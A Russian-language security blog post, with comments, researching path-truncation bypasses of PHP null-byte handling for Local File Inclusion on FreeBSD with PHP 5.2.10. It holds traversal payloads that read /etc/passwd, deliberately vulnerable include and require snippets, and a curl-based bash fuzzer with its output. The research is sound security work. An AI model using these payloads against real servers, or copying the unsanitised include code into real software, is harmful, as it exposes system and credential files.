Проводя тестирования на проникновение в отношении Web-приложений, построенных на PHP, такая полезная особенность интерпретатора, как альтернатива символу конца строки (\0), уже неоднократно позволяла успешно провести атаку типа Local File Including (LFI). На фоне этого появились некоторые наработки эксплуатации LFI c использованием метода по обходу null-byte [1,2,3].
Примеры разберем на up to date системе FreeBSD (7.2-RELEASE-p3) с php (5.2.10 with Suhosin-Patch 0.9.7).
<? include("q/".$_GET['f'].".txt"); ?>
Для выполнения атаки работает: /?f=../../../../../etc/passwd/.[N]/.
, где /.[N]/. - repeat("/.", 487)
<? include("qq/".$_GET['f'].".txt"); ?>
Предыдущий URL не позволит получить /etc/passwd. Но такой запрос успешно отработает:
/?f=/../../../../../etc/passwd/.[N]/.
<? include("qqq/".$_GET['f'].".txt"); ?>
Аналогично, предыдущий URL не позволит получить доступ к файлу. Сработает первый запрос: /?f=../../../../../etc/passwd/.[N]/.
и т.д. То есть, существует прямая зависимость между началом запросов выхода за каталог "../" и "/../" (кратная двум) от начала поступающих данных в функцию include(),require(), etc.
Другой пример кода:
<? include($_GET['f'].".txt"); ?>
Предыдущие запросы идут лесом. Отработает следующий URL:
/?f=non/../../../../../etc/passwd/.[N]/.
Таким образом, при эксплуатации LFI с использованием метода по обходу null-byte могут использоваться следующие запросы: "any/../file[N]", или "../../file[N]", или "/../../file[N]", где [N] замена null-byte, характерная для атакуемой ОС.
Дмитрий, интересные наблюдения. Помнится на FreeBSD 7.0 с PHP+Suhosin вообще никак не работало.
ОтветитьУдалитькак показала практика, сейчас работает:)
ОтветитьУдалитья не смог проэксплуатировать уязвимость, когда используются следующие конструкции:
include("./".$_GET['f'].".txt");
и
file_get_contents($_GET['f'].".txt");
по поводу file_get_contents, создалось впечатление, что функция вообще не подвержена методу по обходу null-byte...
Команда USH не так давно опубликовала продолжение статьи - уязвимости подвержены только функции include(_once)*, require(_once)*, fopen() и move_uploaded_file()
ОтветитьУдалитьhttp://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/
да. видел я их фаззинг.
ОтветитьУдалитьPHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7
PHPFS_MAD2 $ php afo_fuzzer.php
47 46 [test_afo.php/.]
47 47 46 [test_afo.php//.]
И как раз используется функция "file_get_contents".
Моя среда:
[root@web]# uname -a
FreeBSD web.local 7.2-RELEASE-p3 FreeBSD 7.2-RELEASE-p3 #0: Sat Aug 8 01:53:16 MSD 2009 root@cc.local:/usr/obj/usr/src/sys/CC i386
[root@web]# php -v
PHP 5.2.10 with Suhosin-Patch 0.9.7 (cli) (built: Aug 8 2009 19:56:23)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies
И небольшое тестирование:
[root@web]# cat inc.dat
SUCCESS
[root@web]# grep "" *.php
1.php:<? include("q/".$_GET['f'].".txt"); ?>
2.php:<? include("qq/".$_GET['f'].".txt"); ?>
3.php:<? include("qqq/".$_GET['f'].".txt"); ?>
4.php:<? include($_GET['f'].".txt"); ?>
5.php:<? include("./".$_GET['f'].".txt"); ?>
6.php:<? file_get_contents($_GET['f'].".txt"); ?>
7.php:<? file_get_contents("q/".$_GET['f'].".txt"); ?>
8.php:<? file_get_contents("qq/".$_GET['f'].".txt"); ?>
9.php:<? file_get_contents("./".$_GET['f'].".txt"); ?>
[root@web]# cat f.sh
#!/usr/local/bin/bash
file='inc.dat'
null=`php -r "echo str_repeat('$1', $2);"`
for i in {1..9}; do
for p in {"../","/../","non/../","/","../../","/../../","non/../../"}; do
URL="http://127.0.0.1/fuzzing/$i.php?f=$p$file$null"
response=`curl -kis $URL | grep SUCCESS | wc -l`
if [ $response = 1 ]; then
echo "Found: $i.php?f=$p$file$1 - $2";
fi
done
done
[root@web]# ./f.sh "/." 600
Found: 1.php?f=../inc.dat/. - 600
Found: 2.php?f=/../inc.dat/. - 600
Found: 2.php?f=non/../../inc.dat/. - 600
Found: 3.php?f=../inc.dat/. - 600
Found: 4.php?f=non/../inc.dat/. - 600
[root@web]# ./f.sh "//." 600
Found: 1.php?f=../inc.dat//. - 600
Found: 3.php?f=/../inc.dat//. - 600
Found: 3.php?f=non/../../inc.dat//. - 600
то есть, конструкция "//." действительно работает, но не всегда ей можно воспользоваться.
касаемо функции "file_get_contents" и конструкции "include('./'", так и не удается проэксплуатировать метод по обходу null-byte (при чем, с null-byte таких заморочек нет)
и в продолжение темы:
ОтветитьУдалить[root@web]# grep "" *.php
1.php: include("q/".$_GET['f'].".txt");
10.php: require("q/".$_GET['f'].".txt");
11.php: require("qq/".$_GET['f'].".txt");
12.php: require("qqq/".$_GET['f'].".txt");
13.php: require($_GET['f'].".txt");
14.php: require("./".$_GET['f'].".txt");
15.php: require_once("q/".$_GET['f'].".txt");
16.php: require_once("qq/".$_GET['f'].".txt");
17.php: require_once("qqq/".$_GET['f'].".txt");
18.php: require_once($_GET['f'].".txt");
19.php: require_once("./".$_GET['f'].".txt");
2.php: include("qq/".$_GET['f'].".txt");
20.php: include_once("q/".$_GET['f'].".txt");
21.php: include_once("qq/".$_GET['f'].".txt");
22.php: include_once("qqq/".$_GET['f'].".txt");
23.php: include_once($_GET['f'].".txt");
24.php: include_once("./".$_GET['f'].".txt");
25.php: readfile("q/".$_GET['f'].".txt");
26.php: readfile("qq/".$_GET['f'].".txt");
27.php: readfile("qqq/".$_GET['f'].".txt");
28.php: readfile($_GET['f'].".txt");
29.php: readfile("./".$_GET['f'].".txt");
3.php: include("qqq/".$_GET['f'].".txt");
30.php: virtual("q/".$_GET['f'].".txt");
31.php: virtual("qq/".$_GET['f'].".txt");
32.php: virtual("qqq/".$_GET['f'].".txt");
33.php: virtual("qqq/".$_GET['f'].".txt");
34.php: virtual("./".$_GET['f'].".txt");
35.php: $handle = fopen("q/".$_GET['f'].".txt", "r"); echo fgets($handle, 4096); fclose($handle);
36.php: $handle = fopen("qq/".$_GET['f'].".txt", "r"); echo fgets($handle, 4096); fclose($handle);
37.php: $handle = fopen("qqq/".$_GET['f'].".txt", "r"); echo fgets($handle, 4096); fclose($handle);
38.php: $handle = fopen($_GET['f'].".txt", "r"); echo fgets($handle, 4096); fclose($handle);
39.php: $handle = fopen("./".$_GET['f'], "r"); echo fgets($handle, 4096); fclose($handle);
4.php: include($_GET['f'].".txt");
5.php: include("./".$_GET['f'].".txt");
6.php: file_get_contents($_GET['f'].".txt");
7.php: file_get_contents("q/".$_GET['f'].".txt");
8.php: file_get_contents("qq/".$_GET['f'].".txt");
9.php: file_get_contents("./".$_GET['f'].".txt");
[root@web]# ./f.sh "/." 600
Found: 1.php?f=../inc.dat/. - 600
Found: 2.php?f=/../inc.dat/. - 600
Found: 2.php?f=non/../../inc.dat/. - 600
Found: 3.php?f=../inc.dat/. - 600
Found: 4.php?f=non/../inc.dat/. - 600
Found: 10.php?f=../inc.dat/. - 600
Found: 11.php?f=/../inc.dat/. - 600
Found: 11.php?f=non/../../inc.dat/. - 600
Found: 12.php?f=../inc.dat/. - 600
Found: 13.php?f=non/../inc.dat/. - 600
Found: 15.php?f=../inc.dat/. - 600
Found: 16.php?f=/../inc.dat/. - 600
Found: 16.php?f=non/../../inc.dat/. - 600
Found: 17.php?f=../inc.dat/. - 600
Found: 18.php?f=non/../inc.dat/. - 600
Found: 20.php?f=../inc.dat/. - 600
Found: 21.php?f=/../inc.dat/. - 600
Found: 21.php?f=non/../../inc.dat/. - 600
Found: 22.php?f=../inc.dat/. - 600
Found: 23.php?f=non/../inc.dat/. - 600
[root@web]# ./f.sh "//." 600
Found: 1.php?f=../inc.dat//. - 600
Found: 3.php?f=/../inc.dat//. - 600
Found: 3.php?f=non/../../inc.dat//. - 600
Found: 10.php?f=../inc.dat//. - 600
Found: 12.php?f=/../inc.dat//. - 600
Found: 12.php?f=non/../../inc.dat//. - 600
Found: 15.php?f=../inc.dat//. - 600
Found: 17.php?f=/../inc.dat//. - 600
Found: 17.php?f=non/../../inc.dat//. - 600
Found: 20.php?f=../inc.dat//. - 600
Found: 22.php?f=/../inc.dat//. - 600
Found: 22.php?f=non/../../inc.dat//. - 600
With all the respect how this research varies from http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/ ?
ОтветитьУдалитьBye,
Mirco Caccia
The USH group pioneers in this area
ОтветитьУдалить